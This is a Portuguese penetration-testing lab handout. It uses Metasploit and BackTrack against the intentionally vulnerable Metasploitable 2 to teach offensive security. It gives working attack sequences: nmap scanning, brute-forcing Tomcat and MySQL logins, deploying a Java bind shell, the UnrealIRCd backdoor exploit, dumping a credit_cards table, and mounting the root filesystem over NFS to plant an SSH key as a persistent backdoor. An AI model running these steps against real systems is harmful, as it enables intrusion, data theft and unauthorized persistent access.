Você está na página 1de 15

Aula Metasploit

I. Escopo
As estaes responsveis pelos ataques utilizam a distribuio GNU/Linux Backtrack 5 R3, uma distribuio GNU/Linux baseada no Ubuntu 10.04 LTS. Esta verso foi lanada em 13/Ago/20121, no momento a mais recente deste pacote de ferramentas. O sistema alvo utilizado neste exerccio o Metasploitable 2. Uma distribuio GNU/Linux desenvolvida especialmente para servir de alvo na execuo de testes de segurana. Ela utiliza uma distribuio Ubuntu com diversas aplicaes desatualizadas e mal configuradas. A verso utilizada foi lanada em 21/05/20122. Virtual Box O host com a instalao do Backtrack ser executado como uma mquina virtual utilizando o Virtualbox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o boto direito sobre a mquina virtual e clique em Configuraes:

Na janela de Configuraes, v at a opo Rede e certifique-se de que o Adaptador 1 com a opo Conectado a: Placa em modo Bridge. Em avanado, clique algumas vezes no boto ao lado do campo Endereo MAC, garantindo dessa forma que todos possuam endereos MAC diferentes uns dos outros na mesma rede.

Dica
Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que ser alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representao do endereo x.x.x.0/24 identifica a utilizao do IP da rede.

1 2

http://www.backtrack-linux.org/ http://sourceforge.net/projects/metasploitable/

No momento de executar algum comando, verifique se est no local correto. Quando o comando indicar o smbolo #, significa que voc deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, mysql > ou msf >, voc deve estar na linha de comando desse aplicat ivo.

Comandos Bsicos do Linux


cat [arquivo] : lista o contedo do arquivo. cat /etc/issue : mostra detalhes sobre a distribuio utilizada. cd [pasta] : entra na pasta especificada. cp [origem] [destino] : copia um arquivo. cp -R [pasta_origem] [destino] : copia uma pasta e todo seu contedo. ls : listas arquivos e pastas em um diretrio. ls -l : listar arquivos e pastas exibindo os detalhes. ls -la : listar arquivos e pastas incluindo ocultos. mkdir [pasta] : cria uma pasta com o nome indicado mv [origem] [destino] : move/renomeia arquivo ou pasta. passwd : altera a senha do usurio atual. passwd [login] : altera a senha de outro usurio. pwd : mostra o caminho da pasta atual. uname -a : mostra informaes sobre o sistema.

II. Mapeamento dos alvos


Identificao de hosts
ping Conforme ALI (2011), o ping a ferramenta mais famosa para verificar a disponibilidade de um host. Seu funcionamento se d pelo envio de pacotes ECHO REQUEST ao host de destino, caso o host em questo esteja disponvel ele retornar um pacote ECHO REPLY, o protocolo utilizado o ICMP (Internet Control Message Protocol). Em uma execuo bem sucedida possvel verificar se um host conhecido est disponvel. No exemplo abaixo foram enviados trs pacotes ICMP ECHO REQUEST e todos os trs foram respondidos (ICMP ECHO REPLY). A quantidade de pacotes definida pelo parmetro '-c'.
# ping -c 3 x.x.x.x (IP do host alvo) PING x.x.x.x (x.x.x.x) 56(84) bytes of data. 64 bytes from x.x.x.x: icmp_seq=1 ttl=64 time=69.9 ms

64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms 64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms --- x.x.x.x ping statistics --3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms

fping Quando no se conhece o endereo IP do alvo cuja disponibilidade deve ser testada, preciso utilizar ferramentas capazes de gerar uma lista de endereos para o envio do ICMP ECHO REQUEST. O fping faz isso atravs do parmetro '-g', no exemplo abaixo ser utilizado tambm o parmetro '-c 1' para enviar uma nica solicitao para cada host da lista. Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereo de sub-rede e o segundo utiliza um endereo inicial e final para a gerao da lista. Escolha um e execute:
# fping -c 1 -g x.x.x.0/24 (IP da rede alvo) # fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede)

Para cada host cuja resposta no for obtida apresentada cada uma das linhas, conforme segue:
ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to ------------------------------------x.x.x.y : xmt/rcv/%loss = 1/0/100% x.x.x.y

Para cada host ativo, e respondendo a requisies, so geradas linhas como as que seguem:
x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss) ------------------------------------------------------x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80

Analisando as linhas acima seria possvel afirmar que o host x.x.x.y no est ativo e o host x.x.x.x est.

Identificao dos Servios


nmap Para que o nmap identifique com mais preciso as informaes do sistema alvo, importante executar a atualizao de sua base de dados com o comando abaixo:
# nmap --script-updatedb

O nmap tambm possibilita identificar os hosts disponveis em uma rede utilize o comando abaixo:
# nmap -sP x.x.x.0/24

A resposta do comando ser algo como:


Nmap scan report for x.x.x.x Host is up (0.00070s latency). MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap scan report for x.x.x.y Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 33.95 seconds

O parmetro '-sP' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ainda identifica o endereo fsico da placa de rede (MAC Address). Compare a quantidade de hosts retornados

pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte. A forma mais simples de execuo da ferramenta nmap para mapear os servios em execuo em um host :
# nmap x.x.x.x (IP do host alvo)

A sada do comando ser algo parecido com:


Nmap scan report for x.x.x.x Host is up (0.0051s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds

Pela utilizao padro do nmap, a ferramenta testa cada porta apenas para verificar os servios que esto em execuo e monitorando cada uma das portas, porm sem completar a conexo. como telefonar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretria eletrnica. Portanto, o nome dos servios sugeridos por ele so apenas suposies de acordo com o nmero da porta. Com o parmetro abaixo, o nmap tenta capturar o nome do servio que realmente est em execuo nas portas do host alvo e suas respectivas verses:
# nmap -sV x.x.x.x (IP do host alvo)

A sada do comando ser:


Nmap scan report for x.x.x.x

Host is up (0.0059s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open shell? 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open ingreslock? 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd 8009/tcp open ajp13? 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

O resultado deste comando mais demorado pelo fato do nmap realizar uma conexo em cada uma das portas. Agora, com os nomes dos softwares em execuo e suas respectivas verses, o conhecimento sobre o alvo aumenta. O nmap tambm pode tentar detectar o sistema operacional em execuo no host alvo. Execute o comando abaixo e analise o resultado:
# nmap -O x.x.x.x (IP do host alvo)

Na sada desse comando, os servios em execuo so repetidos e ao final apresentado o resultado do provvel sistema operacional do alvo:
Nmap scan report for x.x.x.x Host is up (0.0013s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet ... 6667/tcp open irc

8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Network Distance: 1 hop

O comando acima retorna que o sistema utilizado um Linux com kernel entre as verses 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a verso 2.6.24 do kernel Linux, portanto o resultado est dentro da expectativa. Para um resultado ainda mais completo, teste o comando:
# nmap -v -A x.x.x.x (IP do host alvo)

Sua sada a seguinte:


... Nmap scan report for x.x.x.x Host is up (0.0044s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu804base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Issuer: commonName=ubuntu804base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Public Key type: rsa | Public Key bits: 1024 | Not valid before: 2010-03-17 14:07:45 | Not valid after: 2010-04-16 14:07:45 | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 |_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: |_ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

|_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 39334/udp mountd | 100005 1,2,3 55482/tcp mountd | 100021 1,3,4 39102/udp nlockmgr | 100021 1,3,4 59488/tcp nlockmgr | 100024 1 37315/udp status |_ 100024 1 44437/tcp status 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell? 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open ingreslock? 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 10 | Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection | Status: Autocommit |_Salt: ABf[xg{Tsd|bWmA86GCX 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ Unknown security type (33554432) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd | irc-info: Server: irc.Metasploitable.LAN | Version: Unreal3.2.8.1. irc.Metasploitable.LAN | Lservers/Lusers: 0/1 | Uptime: 0 days, 1:50:36 | Source host: 80911CEB.D3975B40.7B559A54.IP |_Source ident: OK nmap

8009/tcp open ajp13? 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 ... MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012) Network Distance: 1 hop ... Host script results: | nbstat: | NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> | Names | METASPLOITABLE<00> Flags: <unique><active> | METASPLOITABLE<03> Flags: <unique><active> | METASPLOITABLE<20> Flags: <unique><active> | \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> | WORKGROUP<00> Flags: <group><active> | WORKGROUP<1d> Flags: <unique><active> |_ WORKGROUP<1e> Flags: <group><active> | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2012-10-21 18:46:51 UTC-4 TRACEROUTE HOP RTT ADDRESS 1 4.44 ms 10.0.0.10 ...

Este resultado ainda mais demorado, porm com ele foi possvel obter informaes sobre verses de softwares no identificados anteriormente e detalhes sobre servios especficos, como FTP, SMB entre outros. Com isso torna-se vivel a explorao de falhas especficas das verses instaladas. Com este ltimo comando foi possvel identificar que o FTP aceita conexes annimas, que a verso do Unreal ircd a 3.2.8.1. Incluindo a identificao do sistema operacional e a possvel verso do Kernel Linux.

III. Identificao de vulnerabilidades


Unreal IRC Com as informaes obtidas no tpico anterior, agora possvel pesquisar quais softwares do host alvo possuem vulnerabilidades conhecidas. Como forma de exemplo, em uma rpida pesquisa no Google pelo termo Unreal3.2.8.1 exploit, obtm-se como primeiro resultado a pgina do Metasploit, conforme tela abaixo: 8

Figura 1: Seo de exploits do site Metasploit

Com este resultado possvel descobrir que esta verso do Unreal IRC possui uma Backdoor, e seu nvel de explorao categorizado como 'Excelente'.

IV. Explorao
Metasploit Metasploit uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos mdulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invaso. (Kennedy et al. 2011) O Metasploit possui mais de uma opo de interface, utilizaremos o MSFConsole por ser o mais simples e verstil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela possvel executar exploits, carregar mdulos auxiliares, efetuar varredura, enumerao e rodar exploits em massa contra alvos especficos ou redes inteiras.

Primeiro acesso
Antes de utilizar o metasploit recomendado atualizar seu banco de dados com o comando abaixo:
# msfupdate

O comando abaixo entra na interface de console do Metasploit:


# msfconsole

Password guessing
Tomcat O servidor Apache Tomcat um servidor web Java. Sua execuo foi identificada pela linha abaixo, gerada pelo nmap:
8180/tcp open 1.1 http Apache Tomcat/Coyote JSP engine

Dentro do console do metasploit possvel utilizar o comando search para identificar os mdulos disponveis:
msf > search tomcat

Dentre vrios resultados um deles ser: 9

Name auxiliary/scanner/http/tomcat_mgr_login nager Login Utility

... ...

Description Tomcat Application Ma-

Para fazer uso deste mdulo utiliza-se o comando:


msf > use auxiliary/scanner/http/tomcat_mgr_login

Cada mdulo possui parmetros necessrios sua execuo, com o comando abaixo possvel obter uma lista deles:
msf auxiliary(tomcat_mgr_login) > show options

Perceba que os parmetros abaixo j esto preenchidos:


PASS_FILE USERPASS_FILE USER_FILE

Pode deix-los como esto, no momento sero configurados apenas os parmetros abaixo. Para cada parmetro que deve ser configurado dever ser utilizado o comando set:
msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo) msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat)

Execute novamente o comando show options e verifique se os parmetros foram corretamente preenchidos. Por fim utilizado o comando exploit que executa o mdulo contra o alvo especificado acima:
msf auxiliary(tomcat_mgr_login) > exploit

Este mdulo executa um ataque por palavras de dicionrio, utilizando os arquivos indicados nas variveis indicadas acima. Neste ataque uma das combinaes utilizadas poder ser aceita pelo servidor:
... [*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root' [-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [ApacheCoyote/1.1] [Tomcat Application Manager] failed to login as 'root' [*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat' [+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' [*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both' [-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [ApacheCoyote/1.1] [Tomcat Application Manager] failed to login as 'both' ...

A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser perpetrados:
msf msf msf msf msf > use exploit/multi/http/tomcat_mgr_deploy exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x exploit(tomcat_mgr_deploy) > set USERNAME tomcat exploit(tomcat_mgr_deploy) > set PASSWORD tomcat exploit(tomcat_mgr_deploy) > set RPORT 8180

Neste mdulo preciso utilizar o parmetro PAYLOAD, para obter uma lista de payloads compatveis com o mdulo em questo utiliza-se o comando 10

msf exploit(tomcat_mgr_deploy) > show payloads

Conforme Kennedy e outros (2011), payload identifica o cdigo que o mdulo deve executar e que deve ser entregue ao alvo. No caso ser utilizado um prompt de comando feito em java e como o Tomcat um servidor Java, o prompt ser executado:
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > exploit

O comando acima fornecer um prompt de comando para o usurio tomcat que poder executar programas e abrir arquivos aos quais ele possua acesso. MySQL um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma verso distribuda como Software Livre e uma verso comercial. O atual responsvel pelo seu desenvolvimento a Oracle. Acesse o msfconsole e digite o comando abaixo:
msf > search mysql

So mostrados todos os mdulos com a palavra mysql em seu nome, ou seja, os mdulos que trabalham com esse banco de dados. Neste momento o mdulo utilizado ser o seguinte:
msf > use auxiliary/scanner/mysql/mysql_login

Liste os parmetros necessrios para executar este mdulo:


msf auxiliary(mysql_login) > show options

Verifique os parmetros disponveis, preencha com as opes abaixo:


msf > set RHOSTS x.x.x.x (IP destino) msf > set USERNAME root msf > set PASS_FILE /opt/metasploit/msf3/data/wordlists/unix_passwords.txt

possvel listar os parmetros novamente para verificar se esto preenchidos (show options). E ento, execute o mdulo:
msf > exploit

O mdulo tentar se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usurio root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. possvel ainda configurar o parmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo sero testadas como login. um teste demorado, porm pode ser a melhor maneira de descobrir um login e senha vlidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usurio root e a senha descoberta:
(IP alvo) # mysql -h x.x.x.x -u root -psenha

Alguns comandos teis para obter informaes de um banco MySQL Server. Liste os databases existentes:
mysql> show databases;

Escolha um database, por exemplo:

11

mysql> use owasp10;

Liste todas as tabelas do database escolhido:


mysql> show tables;

A ttulo de exemplo, liste os registros de uma das tabelas:


mysql> select * from credit_cards;

Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado:
mysql> select * from credit_cards -> into outfile '/tmp/arquivo_[seunome].txt';

Um arquivo gerado com o contedo da tabela, porm este arquivo est no host alvo. Ainda precisaremos copi-lo para o computador local.

Acesso ao prompt
Unreal IRC Com o comando a seguir, possvel buscar os mdulos com os exploits do Unreal IRC:
msf > search unreal irc

O mdulo encontrado :
exploit/unix/irc/unreal_ircd_3281_backdoor

Utilize o mdulo:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

Mostrar os parmetros para sua utilizao


msf exploit(unreal_ircd_3281_backdoor) > show options

Abaixo os parmetros com a indicao de que so obrigatrios:


Name ---RHOST RPORT Current Setting --------------6667 Required -------yes yes Description ----------The target address The target port

Defina o host alvo com o comando:


msf exploit(unreal_ircd_3281_backdoor) > set RHOST x.x.x.x

Explorar:
msf exploit(unreal_ircd_3281_backdoor) > exploit

Resultado:
[*] Started reverse double handler [*] Connected to x.x.x.x:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection...

12

[*] Command: echo arEDLp8ML4sCA5T6; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "arEDLp8ML4sCA5T6\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27

Acesso ao prompt de comando com permisses de administrador (no Linux, usurio root).

Pastas compartilhadas
NFS Uma das linhas do resultado do nmap indica que a porta 2049 est sendo utilizada.
2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)

Esta porta se trata do servio de compartilhamento de arquivo NFS. Com o comando abaixo possvel verificar quais pastas esto sendo compartilhadas pelo protocolo:
# showmount -e x.x.x.x (IP do host alvo) Export list for x.x.x.x: / *

Com essa informao em mos, possvel montar a pasta raiz do servidor em um ponto da mquina local:
# mkdir /tmp/mnt # mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock

Com esta pasta compartilhada possvel copiar arquivos entre o computador invasor e o computador da vtima. Acesse a pasta tmp do host alvo:
# cd /tmp/mnt/tmp

Copie o arquivo gerado pelo comando SQL: # cp arquivo_[seunome].txt /root

Manuteno do acesso
SSH Primeiramente, tente conectar-se ao servidor da vtima por SSH:
# ssh root@x.x.x.x

O servidor pedir a senha do usurio root, como no temos, no conseguiremos logar na mquina remota. Para que o login SSH funcione, gere uma chave SSH:
# ssh-keygen

Esta chave identifica o computador que voc est utilizando. Adicione essa chave gerada como uma chave de confiana no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente:
# cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys

13

Agora tente logar novamente utilizando SSH:


# ssh root@x.x.x.x

Dessa vez a conexo torna-se possvel devido relao de confiana criada ao copiar a chave do host invasor para o host alvo. Com isso j temos uma backdoor sempre que precisar entrar no servidor remoto.

Copiando arquivos
De dentro do host invasor Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt):
cp [origem] [destino] # cp /tmp/mnt/tmp/arquivo.txt /root

possvel ainda copiar um arquivo utilizando o SSH:


scp [origem] [destino] scp login@ip_alvo:/pasta/arquivo /pasta_local # scp root@x.x.x.x:/tmp/arquivo.txt /root

De dentro do host alvo Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando:
# sshd-generate # restart ssh

Caso apresente erro no segundo comando, execute:


# /etc/init.d/ssh restart

A partir de agora o servidor SSH est habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo:
scp /pasta/arquivo login@x.x.x.y:/pasta # scp /home/user/[arquivo] root@x.x.x.y:/root

Para desmontar a pasta compartilhada do servidor alvo, utilize:


# umount /tmp/mnt

Treino Acesse a pasta /home/user do host alvo e copie o arquivo .pdf e .txt para /root do Backtrack.

Referncias
WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burlington, Massachusetts: Syngress. 2010. Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Disponvel em: http://www.backtrack-linux.org/wiki/index.php/OpenVas ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011.

14

KENNEDY, David; OGORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Testers Guide. No Starch Press. San Francisco, CA. 2011.

15

Você também pode gostar